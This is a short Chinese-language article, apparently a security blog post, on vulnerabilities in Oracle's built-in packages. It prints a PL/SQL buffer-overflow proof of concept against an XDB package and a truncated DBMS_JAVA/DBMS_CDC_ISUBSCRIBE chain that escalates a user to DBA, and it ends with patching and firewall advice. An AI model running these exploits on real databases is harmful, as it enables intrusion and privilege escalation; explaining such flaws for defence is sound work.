許多數據庫系統都提供大量內建的存儲過程和軟件包。這些存儲過程對象為數據庫提供了額外的幫助,同時幫助管理員和開發者管理數據庫系統。
例如目前用戶量最廣的Oracle數據庫,默認情況下在安裝時便擁有多達30000個可以公開訪問的對象,這些對象為許多任務(包括訪問OS文件、發送HTTP請求、管理XML對象、java服務以及支持復制)提供相應的功能。這些功能都會在網絡上開啟對應端口,而每多開一個網絡端口就為數據庫安全造成多一份入侵威脅。
這些內建對象包含的漏洞覆蓋了:SQL注入、緩沖區溢出和應用程序邏輯漏洞等。Oracle的內建包中含有大量這種漏洞,我們下面就拿一個XDB上緩沖區溢出的漏洞舉例。
Declare
buff varchar2(32767);
begin
buff :=’12345678901234567890123456789’;
buff :=buff||buff;
buff :=buff||buff;
buff :=buff||buff;
buff :=buff||buff;
buff :=buff||buff;
buff :=’12345678901234567890123456789’;
XDB.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);
end;
同樣java也存在大量此種漏洞,并且危害比上面的XDB還嚴重
…..DBMS_JAVA.SET_OUTPUT_TO_JAVA(‘ID’,’oracle/aurora/rdbms/DbmsJava’,’SYS’,’writeOutputToFile’,’TEXT’,NULL,NULL,NULL,NULL 0,1,1,1,1,0,’ DECLARE PRAG…….
EXEC DBMS_CDC_ISUBSCRIBE……
上面這個漏洞是針對ORACLE 11.1系列 的JAVA漏洞。利用DBMS_CDC_ISUBSCRIBE 包可被 任意帳號執行,但這個包的創建者是sys。如果執行DBMS_CDC_ISUBSCRIBE 的回話是sys,就可以執行sys權限(提權到DBA)DBMS_JAVA.SET_OUTPUT_TO_JAVA 函數可以把system.err的java重定向到一個新的會話中。于是我們故意輸入錯誤參數導致DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW 產生錯誤,并把錯誤寫入到system.err中。同時創建一個新SYS權限會話 。真正被執行的語句是 EXECUTE IMMEDIATE "grant dba to user()"
我們從上面的例子中不難看出這種漏洞對于數據庫安全的危害很大。建議數據庫的使用者及時更新數據庫廠商發布的官方補丁,同時關閉不必要的對象以及對應端口。如果由于某種原因無法對數據庫進行補丁升級,建議使用帶VPATCH功能的數據庫防火墻保護數據庫安全。